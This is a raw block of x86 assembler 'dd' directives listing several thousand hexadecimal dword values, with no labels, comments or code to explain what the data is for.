		dd 0A4313B24h, 0B400C726h, 0E9738252h, 0D2425453h, 351702EAh
		dd 0D029BC0Fh, 403013E1h, 149DB9B7h, 811DA000h,	7C1B44C9h
		dd 2A38906Dh, 0A3D62FABh, 8D84C938h, 0C6889A50h, 0EB80165Ah
		dd 0B807FA13h, 0E483EDB4h, 1AECD8B9h, 0C474F3E9h, 30D89501h
		dd 27084EB7h, 47561D2Ch, 121EBD70h, 0BCB48492h,	0EDB14AEAh
		dd 127139A5h, 5CF9E9C2h, 0AF5F136Ch, 0A63F62DDh, 0D82900ABh
		dd 0DA33CE05h, 0F651BD65h, 0EC4DF769h, 68F148A7h, 11122E99h
		dd 0BED7A550h, 0D7F448E4h, 8418F94Eh, 0A7BA5FFBh, 0ACF4CD8h
		dd 8F010782h, 1C79878h,	0EF31545Eh, 240FC6E9h, 4578DDCCh
		dd 0B200774Fh, 437B60B9h, 0FFECA039h, 0A1CE7E48h, 78407E6h
		dd 0AD4C50E9h, 97886C0Ch, 685809C7h, 681802DDh,	5135E955h
		dd 90FA12F8h, 70576A65h, 0E629DD5Ah, 5ED7C8CDh,	9299FC48h
		dd 5F6010E5h, 45601741h, 0EF674A2Fh, 940C3008h,	0F60091Bh
		dd 587F2628h, 73E91721h, 0D22EBCE3h, 27607CF5h,	9C68758Ch
		dd 0F79B3C1Ch, 40B918D6h, 0DE109776h, 9858908h,	0D4DE8A68h
		dd 932AB28Ch, 0C2F3AEAh, 0FA711725h, 0D468C261h, 0F0BC983Fh
		dd 78A25C7Dh, 9E1A8641h, 354E5E61h, 0C503923Ch,	0C39F7AAFh
		dd 9A018D49h, 7E507C10h, 7A3D9430h, 2BD4FD71h, 2FBB9E5h
		dd 0F12C8483h, 4FB9EB60h, 0EA6C9427h, 0C80809A6h, 818A53D3h
		dd 0CC80E0B4h, 4A30D87Ah, 0AC5D728h, 31623D7Ch,	0C7EEEDF5h
		dd 2B561777h, 4CE94F32h, 700CB92h, 8846A9Ch, 0C15BD880h
		dd 2D0300E0h, 44A92B10h, 305E64E9h, 0E2E508BCh,	0A8A39F10h
		dd 0EB7D373Eh, 46FB409Dh, 0E597572Bh, 0C0509629h, 0FAF0E23h
		dd 83EBC12Fh, 32681F8h,	7629E341h, 0F3D1053Dh, 63F2DC48h
		dd 0AA2209B8h, 0B8C305EFh, 0C1504C0Eh, 2318AFBh, 0B14CDD5Bh
		dd 90195669h, 9FFD7318h, 5C0944B6h, 1A4F8268h, 0D9D660ABh
		dd 9E4C9F0Ch, 0C2F07C97h, 0D3578CB7h, 1298A2F3h, 0E12A6850h
		dd 6EE82EE9h, 92FB40B6h, 43ACD40Bh, 0CC95A24h, 9188636h
		dd 4A5BDA12h, 16533101h, 0BA430866h, 8ABA94C8h,	92317C2Fh
		dd 12EFE9D5h, 0B9602731h, 8F8D0D7h, 0E71E5A35h,	0F96631F5h
		dd 46254B6h, 9FC75B18h,	54974862h, 7AF25A6Dh, 70B5D354h
		dd 0C55DC9CEh, 5AA94508h, 421C2A10h, 362E14C9h,	0E07100Eh
		dd 39A6805h, 6C8F81CCh,	0CD3101C8h, 0BE0161DCh,	16D48300h
		dd 25D96D1Dh, 0EC492BFBh, 0AA7A3063h, 208D2414h, 0EF550024h
		dd 5F21DF72h, 1336E49Fh, 0E2010803h, 0F92514F6h, 650ADEE5h
		dd 0CA82A541h, 77724B8Fh, 0FFED9900h, 892FBF7Ah, 0ACA271D5h
		dd 1D030014h, 295E42FCh, 0DDA8F04Bh, 4405E8B1h,	51350413h
		dd 0C2300593h, 0BEECF1C9h, 0E16B2E2h, 7F014AB4h, 3785CB4Fh
		dd 548ED2AEh, 783A9C2h,	0AD022F17h, 3A0113E3h, 63AD4048h
		dd 0A2F782ECh, 0EDFFCDh, 0F5805CB5h, 0CC7CD97Ah, 2DB5A097h
		dd 0E51679B2h, 57750F81h, 2C095B0Fh, 17491000h,	0CF29BB4Fh
		dd 0AB26C26Ah, 0CA3A1BD5h, 5BC4834h, 503D198Ah,	3BC0B060h
		dd 98AB3D12h, 1B176F48h, 0F68129EEh, 3F7C9DE9h,	4F7C027h
		dd 79BC5E8Eh, 4DDF617h,	27E18C5h, 0A9C63CE9h, 517300A3h
		dd 0E6585C52h, 42275CB2h, 32209727h, 0E78C0FD5h, 9127A29Ch
		dd 813E5A19h, 0B7210E6Eh, 41BF3C64h, 42850FDAh,	118A0F35h
		dd 87862A84h, 32A8E280h, 0FDFED6EAh, 8A48714Eh,	0AA4A2E06h
		dd 3080C3Ah, 27CCB17h, 46717B66h, 6D390F00h, 0A049B444h
		dd 140CD008h, 6AB85003h, 2D88231Fh, 0A50901F1h,	0FA22E972h
		dd 99F30574h, 0AF60763Eh, 0B6E31104h, 81B721FBh, 620EA5A6h
		dd 0E2D17D64h, 68575180h, 541F0E8Eh, 97291626h,	19CF35C0h
		dd 5B4D5313h, 68008CEFh, 7325209h, 20E07A76h, 0BA3DE59Bh
		dd 5B839235h, 0AB6613EEh, 1FA6A681h, 9E588934h,	9A405290h
		dd 5A061E32h, 3635580Bh, 459B20Dh, 9D300E05h, 0A710FA45h
		dd 34E93F07h, 80FFEB99h, 5770CC4h, 76134Ch, 805DB1CEh
		dd 0C98F0F4Bh, 0DE4B01CAh, 7D818BC9h, 89C6006Ah, 80210C71h
		dd 50082EE6h, 0AC9C4967h, 956E5404h, 0CB825659h, 54205DE8h
		dd 9F63B7C2h, 95BA5200h, 29112569h, 0EB8CC0D3h,	6C8F6F5Ch
		dd 883F5A4h, 6B170C41h,	77C516F2h, 0DCE6ACD6h, 618C71EFh
		dd 637E3A68h, 5C787863h, 136277B4h, 0E9BC411Ah,	407AC2F1h
		dd 42FFE2A4h, 9EF81209h, 5C2D6F9Ch, 80570072h, 890F60F6h
		dd 7A49FD24h, 0E97ECE81h, 4364CCC6h, 0E0380066h, 64055346h
		dd 71584120h, 0FB6126D0h, 92D881BDh, 0D0E9E8BBh, 5ED5002Eh
		dd 875FFA21h, 0D6F7F216h, 8A0609EFh, 4E5EB6E6h,	444BF11Fh
		dd 443CFCE6h, 876F8253h, 272D3306h, 0DFA0E601h,	4EE319EAh
		dd 0BD604D96h, 2D3559AEh, 7C784D54h, 32C1F678h,	124872Dh
		dd 6015E17Eh, 0FD830589h, 9F3CFF38h, 0EE67E232h, 890C5F93h
		dd 0B811DAh, 66C560BBh,	0F113840Dh, 35482102h, 41252B0Fh
		dd 79D06475h, 5ABECE36h, 81853D89h, 94CED7ABh, 0C8E99788h
		dd 0E8A542Fh, 2D1C35CDh, 664A1314h, 8428CCC2h, 17888A97h
		dd 0EEC02C02h, 2D630878h, 0BE5EC425h, 23D88B47h, 8BE28F51h
		dd 6259771Ch, 17A8BCECh, 0FE418338h, 6B7A0D00h,	94F76210h
		dd 0D7D60293h, 95FBFFFh, 0E8477D02h, 0A21FC78Bh, 7F57CE09h
		dd 209D969Ch, 513106E2h, 564901Dh, 554B56E7h, 54A18536h
		dd 50185D64h, 0A9EAAFA5h, 4660DCF2h, 0B539800Ch, 0F18B09B1h
		dd 4ED85B5Dh, 26930F18h, 5350Ch, 0CB31195Ch, 6C685159h
		dd 36C84714h, 0EB0216C0h, 61C305C2h, 0F93BEF9Ah, 0E2EA86F3h
		dd 5AD53CADh, 0D9620A3Eh, 2C2C1133h, 0ECBD0455h, 0C3544D12h
		dd 1C4E3C27h, 0FEFB53AFh, 56BCB725h, 29317020h,	0C43A56D0h
		dd 60141334h, 2F7E95Ch,	0D74F791Bh, 911BFC7h, 0CB3E1C6Fh
		dd 0E496108Fh, 0C49E8149h, 0BB015157h, 680AA1E7h, 8C5E364Dh
		dd 51FB7AE9h, 0E24CFE30h, 0EE5C059h, 0EC58005h,	1ED6E80Ch
		dd 2551B881h, 85967CA8h, 0B9E053D3h, 114EC6DCh,	5B7C86h
		dd 51942C92h, 0D9F6FDB1h, 1EE904C3h, 0C2F502AAh, 320B1570h
		dd 464CEE80h, 0CC368B0h, 0E5B101F7h, 0E7F005C4h, 0C8D1F449h
		dd 3F24EE3Eh, 1C03960Ch, 0A4009F09h, 0C750E7C5h, 0F5071690h
		dd 39F00D53h, 0E5B3EDC0h, 0A19A5A79h, 0D03E2806h, 85EE25D0h
		dd 0D9FA58E9h, 0F529433Dh, 2969A0F0h, 8136F0B5h, 0F0715B08h
		dd 2123CB6Fh, 2F40281Ch, 6B591E58h, 0F980ED92h,	0A0815D5Fh
		dd 90DD2EEh, 0A2685B0Eh, 0BA544FDh, 0D0B4E957h,	0F08A71D1h
		dd 0A7409E8Ch, 0BF7AB14Eh, 2BB7AEE8h, 2DB425B5h, 0C6C5D1FBh
		dd 0E41F3005h, 0D35C8082h, 9D0ED060h, 85E54BC0h, 50A1331Eh
		dd 2E9CD514h, 0DA09F77Ah, 89030E09h, 0A530FF73h, 2921B88h
		dd 5450FC20h, 0CEDC029h, 28B52F40h, 1202CAA0h, 0A7E97C66h
		dd 261E5A16h, 0AF916D58h
		dd 86C6D742h, 2628310Fh, 84697DB7h, 981CE017h, 0C29E766Dh
		dd 0D2F932A8h, 0FA3BB18Ch, 83C09D31h, 3913B9C3h, 80EB3F32h
		dd 16F7CB51h, 0E93B6BE2h, 0D6E84F2Bh, 3890BBD3h, 3D7B742Dh
		dd 0C4275DB9h, 52402A62h, 0CC7F7124h, 0E00BC7ECh, 89DBF7DFh
		dd 0A9868A69h, 0C959088Ch, 231309C1h, 0EEE35475h, 5DC39BC3h
		dd 582FEE16h, 9DB1648Ch, 0EF759609h, 0BD5C9314h, 60258411h
		dd 0D9571E5Ah, 0D9A13CBCh, 4807E069h, 2025B8DCh, 284C79FFh
		dd 0E7375A73h, 0E844031Bh, 60BFA52Ch, 5BB551B0h, 61E58002h
		dd 74F255E9h, 488A502Ch, 48D50153h, 9A1525B9h, 5904C031h
		dd 164B9EDh, 0EB96BFC7h, 25E13F82h, 17427D09h, 2769F450h
		dd 0E70AB2FAh, 4E0D5F2Fh, 6C027E69h, 2D066F54h,	0EF01475Fh
		dd 5D088136h, 0F1F5FC2Eh, 418239ACh, 602026CDh,	31B86057h
		dd 3E98345Ch, 9AE8000Ch, 75D9E94Bh, 0A6DDF9B5h,	73B00FE0h
		dd 0E8B22113h, 95E7BE4Ch, 85FC2D8Bh, 0CAFB9957h, 15D35174h
		dd 3590AECCh, 5ABA0E38h, 84D5A036h, 6C400C0Ah, 510105BBh
		dd 806352B9h, 9F646C20h, 0DE81F989h, 34058C0Fh,	0F20681F3h
		dd 1DAC4504h, 71BD2A18h, 0F3A334D8h, 0B645C0F5h, 2AB0175Fh
		dd 8C0A9D0Ch, 30D8402h,	0E92EDA56h, 2E5AF78Bh, 0CA158EE6h
		dd 0EC5F6E35h, 0FA37842Ch, 55566603h, 2A7ABD98h, 0E9179895h
		dd 7825499Ch, 0E1621E0h, 0F30C5E60h, 90CC58ECh,	57A709C8h
		dd 0DFD7248h, 13B78F6h,	1A3D6CEDh, 0F8C4010h, 908CAC4h
		dd 16F20E9h, 804FB753h,	0D60670CFh, 416AE141h, 38A22AD3h
		dd 7DFD28ECh, 4CF334Dh,	0F3A43E2h, 70BD194h, 6B6EC55Bh
		dd 0FD90987Eh, 20EB7770h, 0D12EEC94h, 0CF01B9EAh, 92578803h
		dd 959EDBF8h, 18D97CA1h, 0B4942A1Dh, 49ACA880h,	10D3B66h
		dd 1F117948h, 8DF50256h, 622CE210h, 0EDEC48EAh,	7BFC05E6h
		dd 12EA291Fh, 42798093h, 3AFB800Fh, 6FF24040h, 5490266h
		dd 315AD689h, 48EBCF3h,	4B6E4852h, 29300DFAh, 940B0757h
		dd 3039FF55h, 589D2A7Fh, 986220A7h, 0B354B71h, 0F495519h
		dd 0BB4B2F8Ch, 5AF5C0DBh, 5EF73929h, 5EF4F8BDh,	3EA9A3FCh
		dd 6BE59605h, 6F1120FFh, 42615406h, 9E680812h, 0E678C126h
		dd 37562D19h, 140B57D8h, 471751Ch, 0AEC23E87h, 327E005h
		dd 21232D3Bh, 0FAD1EB62h, 2CAA3444h, 0D27268D0h, 0E9010904h
		dd 6EEC5106h, 5320AE92h, 0B1398668h, 0E9548462h, 4835AC98h
		dd 0AA2A7755h, 6AFE87ACh, 569EF699h, 652BAE42h,	0EE0C4040h
		dd 0DCB90161h, 0E9F18907h, 0EB003FE1h, 571AE2BEh, 0B4681331h
		dd 0CC2A8C4Dh, 49467414h, 505F27A7h, 69AE2A68h,	8B4C2CBAh
		dd 18FD9FEBh, 17BE0FA6h, 6D76380Fh, 0FA7F6E4Eh,	6848B16h
		dd 480EE7D2h, 0CE142E43h, 880A0764h, 819D137Fh,	84D652F3h
		dd 3EC96E9Ch, 0CD5FDD5h, 0E6E18E38h, 0E07A0D03h, 5C708D2Dh
		dd 9460F48h, 543C648Bh,	0C4CC175Ah, 0EFB2FEC0h,	94000448h
		dd 812E8075h, 2F1220F1h, 0E50776ACh, 0F2FE09E7h, 29E105BEh
		dd 5A8498DEh, 0B7989697h, 0D488AF79h, 935E1DDEh, 28C0B17Ah
		dd 4FBA577h, 0AC7E536Dh, 43AEC033h, 0D2576679h,	0BFEBC548h
		dd 265A58C1h, 0F07EBC7Ch, 442D04BFh, 0AF31CDE9h, 5418A6CAh
		dd 86E9AA24h, 890C05Eh,	4FA67DC9h, 9432EA69h, 0C0EF00CFh
		dd 414CC67Fh, 12F73EA9h, 9EA1DA20h, 0BFA43D7Ch,	461E0C09h
		dd 0FCC62240h, 7471F307h, 12B5286Bh, 0D55C8049h, 51F48214h
		dd 7F8B13BBh, 0B7F6C4AFh, 5857D232h, 0AF2555DBh, 0D2405E21h
		dd 2F4FE4E2h, 1A7437F2h, 790577BBh, 0D729AC17h,	58F78309h
		dd 2A32B0B2h, 955C5B78h, 10690451h, 15DC1Eh, 0EA812585h
		dd 715554CEh, 4CD42D0Eh, 0F6E92239h, 0B9637489h, 88046220h
		dd 0C5285AF0h, 0C48BF1B8h, 0D2D204D5h, 0FE2D016h, 6E50765Dh
		dd 4D40E4A6h, 8B514B66h, 51232C73h, 0A3B14D04h,	0E26C382h
		dd 91A191A9h, 3F4BDBF7h, 1479D4E0h, 0C4212247h,	0C40E7D03h
		dd 1ADAE9D5h, 64F0AD4h,	0B73A25CBh, 20BBAB60h, 0A728A328h
		dd 67141A0Bh, 2F350070h, 9563846Ch, 0F56B46C4h,	0A0147746h
		dd 0B97F0FCh, 0D93CFF0Eh, 40B85002h, 0DD7D7853h, 8F5D150Ah
		dd 2DC0F598h, 1C0F4906h, 91FCE910h, 780CBF3Ch, 25921D68h
		dd 32744702h, 0DCBAB5E9h, 309B8273h, 73402DE2h,	2E04A419h
		dd 0C509E979h, 81DC0513h, 60A181EBh, 5E5CA57Ah,	0CBBD0181h
		dd 42464D2Fh, 0C46EA89h, 4DACBABBh, 9E02F64h, 0A1EB5C83h
		dd 30AE33Dh, 0CE50780h,	0C2350B9Ch, 2E47153Ch, 8F04AD74h
		dd 68040133h, 0D25009Fh, 90A6348h, 182D8B0Fh, 792EC56h
		dd 0DD805913h, 0B252C388h, 14112C64h, 0D98A06D2h, 6BE38F5Ah
		dd 0CF7FFB44h, 0EB015D00h, 60B0F02Ch, 6E73DC09h, 1CB17722h
		dd 0FFD1A518h, 7F68ED22h, 253E89D9h, 0FE95465Bh, 0BB474A5Eh
		dd 0B37E0169h, 0DB35C518h, 2A1272FDh, 1A0DCA6Bh, 7FB90C80h
		dd 5B5FE352h, 0CB135DA9h, 0E0602679h, 0C011FB2Ch, 772A9700h
		dd 98FD0131h, 0E90880F8h, 0DC844A23h, 0F90B01AAh, 305B4A68h
		dd 30060976h, 5F1E7FFBh, 6C502BE9h, 7040B456h, 0B3D33BB9h
		dd 0F1F096B0h, 6A09E479h, 945E952h, 0AFD9E5A1h,	4F2ED5F2h
		dd 3410103Ah, 0A8CA4E72h, 8631E4D0h, 5B03B962h,	11275B1h
		dd 0BA71D1F7h, 16460B30h, 80D92955h, 0D8A0436Fh, 4E8B14Ch
		dd 5D742E6Fh, 1290EBFh,	0B061073h, 8A654Ah, 9E201FC2h
		dd 350F407Ah, 0E09B51BEh, 8B2A120Dh, 7852C165h,	7E40C46Fh
		dd 5D3020E0h, 681CB709h, 2606914h, 0BD965AEh, 28E0257h
		dd 0E2BA04B0h, 1041483Ch, 800B7D92h, 257F40F6h,	30C2C7B7h
		dd 59000B2Ch, 7E6D1C11h, 9595D25h, 56D4DE70h, 0C160CCF0h
		dd 1C6CF11Dh, 0E0B6A392h, 5F7F2655h, 1B60D070h,	7AE91DE5h
		dd 1A22DE04h, 0DA814BBBh, 4C129057h, 6B3A953Ch,	14974EF5h
		dd 0F8137EE9h, 4C100B81h, 72C4F63Ah, 44EBD281h,	0B0A2EB0Ch
		dd 8A72E9F0h, 0DEE466A0h, 8945A20Ah, 0A43C89CEh, 7E42AE5Eh
		dd 0F553073Dh, 6684FEEBh, 5F215922h, 1C363E44h,	4FBA6718h
		dd 97028662h, 340D681Ch, 0B01C5727h, 0CDACE91Ch, 2FB84A38h
		dd 0A1E921F1h, 6804406Bh, 65BE0BF6h, 5D650199h,	6A30DC46h
		dd 54405DF1h, 5AD828B7h, 874EF062h, 6848B173h, 924B3808h
		dd 69FC0619h, 9A395017h, 56C5015Eh, 4DE9B598h, 0D8BB13DFh
		dd 744D9DC2h, 3A5D08C6h, 7BBF81BEh, 1420540Eh, 0F1841F45h
		dd 0AECD92ABh, 9C1AD2Ch, 50E676B9h, 83D28F5h, 0DDAB5D12h
		dd 44E23FEBh, 0A288FE93h, 5F34073h, 0A687109h, 0C28E5DB9h
		dd 7A254668h, 808A2AF6h, 18037909h, 0EB613D85h,	68358A7h
		dd 64F080AFh, 5063D5Ch,	5BF11713h, 0D915205Bh, 1C88BF00h
		dd 0FA0928F0h, 83A1B85Fh, 0F8AA98C9h, 0E918129Bh, 5A3EC25Bh
		dd 0D0B3670h, 7C722322h, 0F7CC2DD1h, 14B8829Dh,	3BDC0B19h
		dd 0C568E184h, 4AECF2BFh, 0FE43D2E0h, 0FDC05BF4h, 0E3EC0424h
		dd 0CC85E188h, 20CAD95h, 48D6E149h, 809E8B8Fh, 0F4B7F7Ch
		dd 0D25BE780h, 44F46043h, 0A0E9887Eh, 0D06EBF23h, 72AEDC9Dh
		dd 19689921h, 0F0DA2F62h, 0B9CEE916h, 0D9C7022Fh, 0DD0C1D3Bh
		dd 5EF5705h, 0D14FE908h, 60D8315Ch, 585BC3A3h, 0DA9615B9h
		dd 8F5C1E0Eh, 54E55464h, 0DEE28D82h, 0EA59134Eh, 1352C828h
		dd 0B3627C68h, 3440B9Dh, 0D32D501h, 0E9E132F6h,	412E37BFh
		dd 2C02B6Eh, 0F92435F1h
		dd 1FB0687Ah, 6DC92DADh, 4016400Ch, 688D2F13h, 85855989h
		dd 1463EC4Ch, 12E4EFC0h, 4E179AF7h, 0C7E4C1F5h,	4A3B90D6h
		dd 2DEFFDF9h, 54B29152h, 0B26A01E7h, 66D02833h,	0BAF93E5Ah
		dd 0A5E7677Eh, 0C634F1E2h, 0A2043A7Ah, 0BC2B502h, 0C0A04A5Eh
		dd 4E6C8204h, 44F984B9h, 0AF502C89h, 33511098h,	6078E6B1h
		dd 6EF4A11Eh, 278E7109h, 1B21AC3Bh, 3AEC5927h, 40BDAAA4h
		dd 0F201D85Eh, 48E9A012h, 13DA1324h, 0EE3B821h,	896B71E3h
		dd 6C63837Eh, 504FEA49h, 0E9510C14h, 0F2CB2726h, 0A419350Bh
		dd 24605764h, 0E97629DBh, 42F4F14Bh, 4E16F062h,	7DE8CB67h
		dd 0FB0C8D25h, 2088E8E3h, 68583C07h, 3051D1CEh,	0AC273E24h
		dd 5702B5D0h, 0B206FA71h, 4BB025D3h, 0D6AF8AD5h, 0EC0AD912h
		dd 0A640C5E1h, 984D2E72h, 93C42D4Bh, 62892F90h,	0B41080E9h
		dd 685358B0h, 116A12ECh, 0EB390864h, 6B88BE01h,	18E86F2Dh
		dd 0AA6697A0h, 7DD8ECC1h, 0C42A27D5h, 0AC071225h, 2EC35132h
		dd 7724E11Dh, 6FB11C93h, 2B99D92Ah, 96503BF4h, 0E4F38B7Bh
		dd 0ABA8075Eh, 9D7E4B22h, 0F392BA45h, 55035895h, 9711614Ah
		dd 1C9205C4h, 54205F21h, 1580420Ch, 25B8B9A3h, 28B743E3h
		dd 782D084Ch, 0B4E59F5Bh, 5CAF9626h, 0F8FCCBA9h, 0F3023CCAh
		dd 89269942h, 81B974D1h, 0AA7AF0CBh, 0F2E0203Fh, 9FB7F39h
		dd 565974E9h, 705571FFh, 46013EFEh, 0FEBD4E49h,	7DCA1351h
		dd 0DDF7B4E0h, 0AC8B0F3Dh, 0ED8033C6h, 0F5814D07h, 662700A9h
		dd 46F9BD0Ah, 0E92439CAh, 2FA7BC52h, 626E2B38h,	45005BDBh
		dd 3A2DFA29h, 163DDF30h, 0B41EF62h, 0C4DA21A7h,	27E17AEFh
		dd 0BC641DECh, 41EF6803h, 53549D68h, 57FEB872h,	53F80102h
		dd 0A0E142E9h, 1727EF99h, 272B7BA1h, 0D3FE3692h, 8DF899C4h
		dd 36F5726h, 5F2BBF1Ch,	0E96933E2h, 0CF08305Ah,	2970E441h
		dd 0F5440FF1h, 2AAD4AC4h, 43E33A29h, 6F43055Fh,	0DF954BECh
		dd 8041107Dh, 0F6771EC5h, 0F0F597D5h, 78392D62h, 0DE1A2739h
		dd 0C4C9138Fh, 2E82EEABh, 0E851575Eh, 0CAE18013h, 0ADBE646Bh
		dd 76DF8608h, 0EE88270Ah, 82594E85h, 5057CFCAh,	0A42BEBA4h
		dd 4A4137AFh, 0D6501C7Ch, 385C81E5h, 0D56685F3h, 81AF24EFh
		dd 0F5236Bh, 90C3835Dh,	0D7942203h, 0ED2E41F0h,	9A1CCA77h
		dd 95EC9060h, 7E6B6579h, 0DD3318B8h, 5281B24Ch,	0FBCA770h
		dd 4F19DF30h, 0FC763BA9h, 4FB42AC5h, 0AC9840EFh, 997A8ECh
		dd 6880B0E8h, 997AEDEDh, 86E96A9Fh, 0AAC852B5h,	15B0C845h
		dd 4EB3D53h, 0D8E28CDFh, 261FF3D1h, 0FE597319h,	0B9C7404Dh
		dd 0A65588A6h, 1DFD5480h, 224B7CF4h, 0C305A90Bh, 1FC09A3h
		dd 3E5C9E81h, 5F0D02Ah,	0A7490EE9h, 0B4BC4004h,	0F58BBE05h
		dd 13BEDF89h, 0F69EA4Ah, 0EE040FC1h, 0CA29E792h, 0B4C3DFC8h
		dd 43E282h, 4A7C2D0h, 7EB1C04Fh, 0EADD5AD1h, 863CE2D6h
		dd 95C36245h, 0D7B091F8h, 71C12145h, 812E8704h,	2E7C826Ah
		dd 4DB52E80h, 354F0E34h, 0BB70510h, 0EA5FC14Ah,	5EC987EAh
		dd 9471BE72h, 0F735675Eh, 4AEB6F50h, 0FE568E24h, 25689FB4h
		dd 0E31854D2h, 775B7D6Ah, 0D8960585h, 0B9009502h, 104662C9h
		dd 0B7C6435Bh, 9E730522h, 0BE01A29Ch, 0D38BA012h, 23A9E908h
		dd 0A11CEB92h, 0C32875C5h, 0F651AB0Bh, 45792FF7h, 5B5FC80h
		dd 24E9DD30h, 87C2DC13h, 3AF65AD4h, 0FCBB209Ch,	25015A32h
		dd 0B3A4D53Bh, 144A7638h, 2A4E79BEh, 0F697554Bh, 0B905123Dh
		dd 5650DA02h, 22E94105h, 557F3643h, 35C33A72h, 4747419Bh
		dd 13A56BE5h, 0F52DBF5Eh, 42E1DE03h, 0AECDF53Bh, 58932AEBh
		dd 0B2398880h, 0B56395E3h, 0BBD6CDE2h, 1A057B5Ah, 0A5419536h
		dd 2A3335E0h, 1AF1FD00h, 9F83D282h, 0CC166BDEh,	15B8A357h
		dd 84393E06h, 0E9186541h, 0C361B301h, 0AF4F1A3Ch, 86D8D84Ch
		dd 0F432FF27h, 7254075h, 3063F844h, 0BF3504DEh,	49020F32h
		dd 173AD856h, 9429AB5Bh, 105DB67Ah, 984016BDh, 15B9667h
		dd 0D239AD0Dh, 0E579E828h, 0FB2445E1h, 0A982CFD4h, 625B07FCh
		dd 0A0751012h, 5177BC5Fh, 12AB830h, 1B4B5C60h, 2F32870Fh
		dd 0D7B7AAD1h, 0F1400B89h, 563FBA75h, 0D28C4338h, 79C01E3Bh
		dd 52055990h, 0E2D0F0B2h, 0FB9DD8C1h, 8C2C003h,	216F0561h
		dd 33D52656h, 96B5AC30h, 0EB5E582Ah, 0BE510113h, 0C3E9B173h
		dd 0BB24004Bh, 4E585650h, 5B4FDF21h, 0C17CAD1Ch, 3EA15F60h
		dd 3ADC9030h, 0C548802Fh, 7D0CA5EBh, 38895F96h,	78F2FC51h
		dd 0E02C24BDh, 0C45895BAh, 2062F893h, 87A2BD80h, 0EFDD93A4h
		dd 601C10C3h, 1A5F4112h, 55A29F26h, 0ACA2078Eh,	7174B3E7h
		dd 23664C3h, 50ABF5A9h,	0CB404B5Ah, 0D3006D3h, 6A4F180Ch
		dd 0A6148A1h, 79BCAE20h, 1010BD4Ah, 46C70813h, 9671F7BDh
		dd 6A5D027Fh, 0A90525BEh, 0D38080B4h, 0B763471Ah, 0C73AB9F2h
		dd 27D6125Dh, 0EE26E8ACh, 762C8994h, 3F689D68h,	0C943549Fh
		dd 2442014h, 1668135Ch,	0B1A4310Fh, 3BBD7559h, 4E3740F4h
		dd 7B2DB7D6h, 0D482A127h, 1290CE6Dh, 66F89C90h,	0BAFD92C4h
		dd 58685821h, 0E90B5E76h, 0A648DD38h, 0A53D4667h, 85F7AD26h
		dd 4CF959C3h, 2A5F09E1h, 193CE8DDh, 19FFA610h, 0D85C5B54h
		dd 0E92C83D7h, 7FC2DF43h, 0CB4F25D9h, 64BF0941h, 0AD1E4EA7h
		dd 0A7523F2Ah, 5F64E0C2h, 0BF3FD355h, 0E90B7C8Fh, 5B68D6F0h
		dd 0F255C8Eh, 0C7BB491Ch, 13E5C021h, 6A2C9CF9h,	61F36809h
		dd 9E609F7h, 6978470h, 4E6C102h, 0EA66C5Dh, 42C05FC6h
		dd 547A214Bh, 0DBD5E916h, 0BB7A61AFh, 44982BE1h, 5D8B051h
		dd 31352EBAh, 629DBA05h, 0A9A04696h, 62AED34Eh,	5DB8DBh
		dd 2E685794h, 4FE9AC7Eh, 0C8FCC679h, 0B6596BBEh, 9BF18960h
		dd 814D2433h, 3B18E96Dh, 0ABD92F01h, 9B06824h, 881B3411h
		dd 3C6C45DDh, 490BFD3Dh, 5CA2862Ch, 0C123A4B1h,	76CAC244h
		dd 0CCFE0050h, 0E4118E0Fh, 69FAD5A8h, 8AF42BC4h, 0BD3A5B87h
		dd 0C32DFBA0h, 57293917h, 0FEDE8361h, 0E04BCF39h, 0E82970A3h
		dd 3E5B8FB9h, 553FD48Eh, 0F861DD92h, 4B4CC139h,	10203E76h
		dd 642D02E1h, 0C6E908BEh, 53524248h, 8860B307h,	0D5305BDAh
		dd 568665Ah, 92E90AC8h,	29473011h, 749F5FFAh, 0A8026B5Fh
		dd 0C40FA8FCh, 3EC1C383h, 667B52AAh, 0F7302845h, 1EC7F9F4h
		dd 25DE3D7Ch, 16FA709Ah, 0AD3B45DDh, 3D097397h,	0A19E5FA5h
		dd 5764C496h, 6361BFCCh, 2CC1352Eh, 0EC736AC9h,	95BEB93Ah
		dd 994DC9A0h, 4513E7Ch,	0D1162D5h, 9C108A0h, 3BF934D2h
		dd 3CEA697Dh, 0BF42A5C8h, 45F70D42h, 5D229261h,	0DFC14B46h
		dd 5F0E3A77h, 685C57FAh, 0C4D54F95h, 590EE0h, 0DF121F2Dh
		dd 5D80177h, 685B07A0h,	0E667E72Dh, 2F840C44h, 66BA787Fh
		dd 0E30B2938h, 0A36803AAh, 745D131Dh, 921CFC2Dh, 99BE1009h
		dd 0BF795E65h, 33154318h, 69B5287Fh, 882D4F2Bh,	0A85A5749h
		dd 0E9DAF08Fh, 0AC784C30h, 836BBC8Eh, 1DBD782Ah, 0E204EF60h
		dd 199C0005h, 13093972h, 0B198E9D9h, 0BEF73E23h, 8C8CF115h
		dd 64BDE45Eh, 0CF248F94h, 82A67325h, 0DED5C93h,	7370205Fh
		dd 2075E55Eh, 28D07401h, 13289A0Ch, 605BDA1Ch, 0E458773h
		dd 4825144Dh, 0E07B8147h, 55C061F5h, 0F22D4007h, 646BC165h
		dd 580243D7h, 0B9891D9h, 542F0AE9h, 25C283A6h, 69C769FCh
		dd 16087308h, 88E085Dh,	54F0E122h, 0D057B461h, 9EE41504h
		dd 95D292DEh, 21F23B78h
		dd 9470C12h, 55E83E81h,	77E29C52h, 0D0F2EFAh, 653DC45Bh
		dd 0CEEB2334h, 0DCF14F40h, 176B47Fh, 1524C0A4h,	5B651609h
		dd 4231D8BFh, 0EB3F6662h, 28D2E808h, 0F6A0778h,	8E53182h
		dd 42CFF301h, 146E4B33h, 850000FFh, 0F78E12Eh, 0CA6F6383h
		dd 687E812Bh, 8AF14E48h, 5378A2C5h, 91D02CC5h, 8C19E37Ah
		dd 0BBDA0A3h, 0F60E4E20h, 0B95A7FA7h, 0BF1B7A4h, 0F48B0711h
		dd 0C45AEAF6h, 2BACB8h,	0A872412Dh, 5391055Eh, 13E30ECh
		dd 0F20751F0h, 4CE91182h, 0BFB56DEBh, 680BB8CFh, 9F714EF1h
		dd 109BD68Dh, 0F2D23278h, 32F0028h, 0A8E92EEAh,	0A2014E32h
		dd 5B68C2B4h, 50A6C52h,	7C8818A3h, 0B0DFA821h, 54A86856h
		dd 5AE59905h, 0EA3407D9h, 0B45A2B81h, 86206DBAh, 0AF879591h
		dd 0B267C20Fh, 0E9841AFEh, 56AE1A06h, 8F0CA99Ah, 3802E845h
		dd 68FBF45Fh, 0E85C2829h, 3B90EBEh, 1ECF943Eh, 7E640E7Eh
